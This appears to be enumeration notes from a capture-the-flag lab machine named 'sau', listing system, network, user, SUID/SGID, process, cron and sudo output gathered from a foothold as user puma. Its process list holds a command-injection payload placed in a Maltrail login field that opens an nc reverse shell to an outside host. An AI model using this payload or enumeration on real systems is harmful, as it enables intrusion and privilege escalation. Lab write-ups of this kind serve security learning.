System/Kernel


puma@sau:/opt/maltrail$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2a9f157890930ced4c3ad0e74fc1b1b84aad71e6, for GNU/Linux 3.2.0, stripped
linux sau 5.4.0-153-generic #170-ubuntu smp fri jun 16 13:43:31 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=20.04
DISTRIB_CODENAME=focal
DISTRIB_DESCRIPTION="Ubuntu 20.04.6 LTS"
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal

5.4.0-153-generic Ubuntu 20.04.6 LTS (Focal Fossa) x86_64

Networks


puma@sau:/opt/maltrail$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:8338            0.0.0.0:*               LISTEN      870/python3         
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0     17 10.10.11.224:35882      10.10.14.8:9999         ESTABLISHED 1208/nc             
tcp        0      0 127.0.0.1:46570         127.0.0.1:80            ESTABLISHED -                   
tcp        0      0 127.0.0.1:8338          127.0.0.1:46570         ESTABLISHED 870/python3         
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -                   

0.0.0.0:8338 127.0.0.53:53 127.0.0.1:8338

Users & Groups


puma@sau:/opt/maltrail$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
puma:x:1001:1001::/home/puma:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
total 12
drwxr-xr-x  3 root root 4096 apr 15 09:17 ./
drwxr-xr-x 20 root root 4096 jun 19 09:41 ../
drwxr-xr-x  4 puma puma 4096 jun 19 12:25 puma/
puma@sau:/opt/maltrail$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
uid=103(messagebus) gid=106(messagebus) groups=106(messagebus)
uid=104(syslog) gid=110(syslog) groups=110(syslog),4(adm),5(tty)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(tss) gid=111(tss) groups=111(tss)
uid=107(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=108(tcpdump) gid=113(tcpdump) groups=113(tcpdump)
uid=109(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=110(landscape) gid=115(landscape) groups=115(landscape)
uid=111(pollinate) gid=1(daemon) groups=1(daemon)
uid=112(fwupd-refresh) gid=116(fwupd-refresh) groups=116(fwupd-refresh)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(lxd) gid=100(users) groups=100(users)
uid=1001(puma) gid=1001(puma) groups=1001(puma)
uid=997(_laurel) gid=997(_laurel) groups=997(_laurel)

SUIDs


puma@sau:/opt/maltrail$ find / -perm -04000 -ls -type f 2>/dev/null
    16261     24 -rwsr-xr-x   1 root     root        22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
    22727    464 -rwsr-xr-x   1 root     root       473576 Apr  3 22:47 /usr/lib/openssh/ssh-keysign
     7688     16 -rwsr-xr-x   1 root     root        14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
     7686     52 -rwsr-xr--   1 root     messagebus    51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
     2245     56 -rwsr-sr-x   1 daemon   daemon        55560 Nov 12  2018 /usr/bin/at
    20711     68 -rwsr-xr-x   1 root     root          67816 May 30 15:42 /usr/bin/su
     1690     68 -rwsr-xr-x   1 root     root          68208 Nov 29  2022 /usr/bin/passwd
     1686     84 -rwsr-xr-x   1 root     root          85064 Nov 29  2022 /usr/bin/chfn
     2103     40 -rwsr-xr-x   1 root     root          39144 Mar  7  2020 /usr/bin/fusermount
     1647     44 -rwsr-xr-x   1 root     root          44784 Nov 29  2022 /usr/bin/newgrp
     6259     56 -rwsr-xr-x   1 root     root          55528 May 30 15:42 /usr/bin/mount
     1687     52 -rwsr-xr-x   1 root     root          53040 Nov 29  2022 /usr/bin/chsh
     2552    164 -rwsr-xr-x   1 root     root         166056 Apr  4 11:56 /usr/bin/sudo
     7043     40 -rwsr-xr-x   1 root     root          39144 May 30 15:42 /usr/bin/umount
     1689     88 -rwsr-xr-x   1 root     root          88464 Nov 29  2022 /usr/bin/gpasswd

SGIDs


puma@sau:/opt/maltrail$ find / -perm -02000 -ls -type f 2>/dev/null
    72079      4 drwxr-sr-x   3 root     systemd-journal     4096 apr 14 17:38 /var/log/journal
    80005      4 drwxr-sr-x   2 root     systemd-journal     4096 jul 10 21:15 /var/log/journal/639e21ff5f8845cfa768d4c6f1ed568f
    72077      4 drwxrwsr-x   2 root     staff               4096 Apr 15  2020 /var/local
    72073      4 drwxrwsr-x   2 root     mail                4096 Jan 10  2023 /var/mail
      320      0 drwxr-sr-x   2 root     systemd-journal       40 jul 10 19:19 /run/log/journal
     9668     44 -rwxr-sr-x   1 root     shadow             43168 feb  2 09:22 /usr/sbin/pam_extrausers_chkpwd
    17941     44 -rwxr-sr-x   1 root     shadow             43160 feb  2 09:22 /usr/sbin/unix_chkpwd
     7182     16 -rwxr-sr-x   1 root     utmp               14648 Sep 30  2019 /usr/lib/x86_64-linux-gnu/utempter/utempter
     1910     44 -rwxr-sr-x   1 root     crontab            43720 Feb 13  2020 /usr/bin/crontab
     2245     56 -rwsr-sr-x   1 daemon   daemon             55560 Nov 12  2018 /usr/bin/at
     1685     84 -rwxr-sr-x   1 root     shadow             84512 Nov 29  2022 /usr/bin/chage
     2066     16 -rwxr-sr-x   1 root     tty                14488 Mar 30  2020 /usr/bin/bsd-write
    22718    344 -rwxr-sr-x   1 root     ssh               350504 apr  3 22:47 /usr/bin/ssh-agent
     1688     32 -rwxr-sr-x   1 root     shadow             31312 Nov 29  2022 /usr/bin/expiry
     7605     36 -rwxr-sr-x   1 root     tty                35048 may 30 15:42 /usr/bin/wall
    68785      4 drwxrwsr-x   3 root     staff               4096 Jan 10  2023 /usr/local/lib/python3.8
    68786      4 drwxrwsr-x   2 root     staff               4096 Jan 10  2023 /usr/local/lib/python3.8/dist-packages

Processes


puma@sau:/opt/maltrail$ ps -auxwww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.2 102316 11356 ?        Ss   19:19   0:01 /sbin/init
root         467  1.8  5.2 290076 210264 ?       S<s  19:19   2:58 /lib/systemd/systemd-journald
root         494  0.0  0.1  20308  6148 ?        Ss   19:19   0:01 /lib/systemd/systemd-udevd
root         589  0.0  0.4 214664 18000 ?        SLsl 19:19   0:01 /sbin/multipathd -d -s
root         614  0.0  0.0   2488   508 ?        S    19:19   0:00 bpfilter_umh
root         619  0.0  0.0  11356  1616 ?        S<sl 19:19   0:00 /sbin/auditd
root         636  0.0  0.2  49296 10492 ?        Ss   19:19   0:00 /usr/bin/VGAuthService
root         637  0.1  0.2 239496  8220 ?        Ssl  19:19   0:12 /usr/bin/vmtoolsd
systemd+     660  0.0  0.1  19076  7492 ?        Ss   19:19   0:00 /lib/systemd/systemd-networkd
root         677  0.0  0.1  99896  5780 ?        Ssl  19:19   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         726  0.0  0.1 237316  7448 ?        Ssl  19:19   0:05 /usr/lib/accountsservice/accounts-daemon
message+     727  0.0  0.1   7388  4520 ?        Ss   19:19   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root         737  0.0  0.0  81960  3744 ?        Ssl  19:19   0:00 /usr/sbin/irqbalance --foreground
root         738  0.0  0.4  29868 18160 ?        Ss   19:19   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         739  0.0  0.1 232724  6764 ?        Ssl  19:19   0:00 /usr/lib/policykit-1/polkitd --no-debug
root         740  9.6  0.3 999308 14624 ?        Ssl  19:19  15:12 /usr/bin/rbaskets -l 0.0.0.0
syslog       742  1.1  0.1 224344  5380 ?        Ssl  19:19   1:49 /usr/sbin/rsyslogd -n -iNONE
root         744  0.0  0.1  17136  5808 ?        Ss   19:19   0:00 /lib/systemd/systemd-logind
root         750  0.0  0.3 393044 12084 ?        Ssl  19:19   0:00 /usr/lib/udisks2/udisksd
root         761  0.0  0.2 315108 11100 ?        Ssl  19:19   0:00 /usr/sbin/ModemManager
systemd+     829  0.0  0.3  24576 12588 ?        Ss   19:19   0:00 /lib/systemd/systemd-resolved
puma         870  0.0  0.5 103520 21912 ?        Ssl  19:19   0:02 /usr/bin/python3 server.py
root         875  0.0  0.1  12176  7300 ?        Ss   19:19   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root         879  0.0  0.0   8540  2924 ?        Ss   19:19   0:00 /usr/sbin/cron -f
daemon       882  0.0  0.0   3796  2300 ?        Ss   19:19   0:00 /usr/sbin/atd -f
root         892  0.0  0.0   5828  1836 tty1     Ss+  19:19   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
puma        1206  0.0  0.0   2608    88 ?        S    21:17   0:00 /bin/sh -c logger -p auth.info -t "maltrail[870]" "Failed password for ;`mkfifo /tmp/lnar; nc 10.10.14.8 9999 0</tmp/lnar | /bin/sh >/tmp/lnar 2>&1; rm /tmp/lnar` from 127.0.0.1 port 46570"
puma        1208  0.0  0.0   3332  2032 ?        R    21:17   0:00 nc 10.10.14.8 9999
puma        1209  0.0  0.0   2608   596 ?        S    21:17   0:00 /bin/sh
puma        1222  0.0  0.0   7356  2328 ?        S    21:44   0:00 script /dev/null -c bash
puma        1223  0.0  0.1   9776  4852 pts/0    Ss   21:44   0:00 bash
puma        1326  0.0  0.0  10808  3504 pts/0    R+   21:56   0:00 ps -auxwww

/usr/lib/policykit-1/polkitd --no-debug /usr/bin/rbaskets -l 0.0.0.0 /usr/bin/python3 server.py /usr/sbin/cron -f

Cron & Systemd


puma@sau:/opt/maltrail$ crontab -l | cat /etc/crontab ; systemctl list-timers
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
no crontab for puma
NEXT                        LEFT          LAST                        PASSED   >
mon 2023-07-10 22:35:42 UTC 37min left    Fri 2023-06-16 14:03:55 UTC 3 weeks 3>
tue 2023-07-11 00:00:00 UTC 2h 1min left  Mon 2023-07-10 19:19:23 UTC 2h 39min >
tue 2023-07-11 00:00:00 UTC 2h 1min left  Mon 2023-07-10 19:19:23 UTC 2h 39min >
tue 2023-07-11 02:08:17 UTC 4h 9min left  Sat 2023-04-15 08:40:15 UTC 2 months >
tue 2023-07-11 02:29:40 UTC 4h 31min left Mon 2023-07-10 19:46:08 UTC 2h 12min >
tue 2023-07-11 03:13:41 UTC 5h 15min left Fri 2023-06-16 16:57:21 UTC 3 weeks 3>
tue 2023-07-11 06:46:01 UTC 8h left       Mon 2023-07-10 19:34:04 UTC 2h 24min >
tue 2023-07-11 19:34:51 UTC 21h left      Mon 2023-07-10 19:34:51 UTC 2h 23min >
sun 2023-07-16 03:10:46 UTC 5 days left   Mon 2023-07-10 19:20:09 UTC 2h 38min >
mon 2023-07-17 00:00:00 UTC 6 days left   Mon 2023-07-10 19:19:23 UTC 2h 39min >
 
10 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-14/14 (END)

Sudo Version


puma@sau:/opt/maltrail$ sudo --version
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31

Sudo version 1.8.31

Glibc Version


puma@sau:/opt/maltrail$ ldd --version
ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.31-0ubuntu9.9) 2.31